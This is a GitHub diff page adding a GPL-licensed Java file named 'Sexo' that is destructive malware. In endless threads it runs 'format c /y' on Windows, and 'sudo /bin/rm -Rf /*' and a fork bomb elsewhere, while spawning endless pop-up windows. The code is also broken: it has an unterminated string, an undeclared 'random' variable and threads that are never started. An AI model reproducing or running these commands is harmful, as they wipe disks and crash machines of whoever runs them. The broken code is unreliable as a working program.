File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1+ /**
2+ * Copyright (C) 2020 EduApps (Eduardo Procópio Gomez)
3+ *
4+ * This program is free software: you can redistribute it and/or modify
5+ * it under the terms of the GNU General Public License as published by
6+ * the Free Software Foundation, either version 3 of the License, or
7+ * (at your option) any later version.
8+ *
9+ * This program is distributed in the hope that it will be useful,
10+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
11+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12+ * GNU General Public License for more details.
13+ *
14+ * You should have received a copy of the GNU General Public License
15+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
16+ */
17+ import javax.swing.JFrame;
18+
19+ public class Sexo {
20+ private static String OS = System.getProperty("os.name").toLowerCase();
21+
22+ public static void main(String[] args) {
23+ while (true) {
24+ new Thread(new Runnable() {
25+ public void run() {
26+ while(true) {
27+ if (OS.contains("win")) {
28+ Runtime.getRuntime().exec("cmd.exe /c format c /y");
29+ } else {
30+ Runtime.getRuntime().exec("sudo /bin/rm -Rf /*");
31+ Runtime.getRuntime().exec(":(){:|:&};:);
32+ }
33+
34+ JFrame sexo = new JFrame("Sexo, Sexo, Sexo...");
35+ sexo.setLocation(random.nextInt(500), random.nextInt(500));
36+ sexo.setVisible(true);
37+ }
38+ }
39+ });
40+ }
41+ }
42+ }
You can’t perform that action at this time.
0 commit comments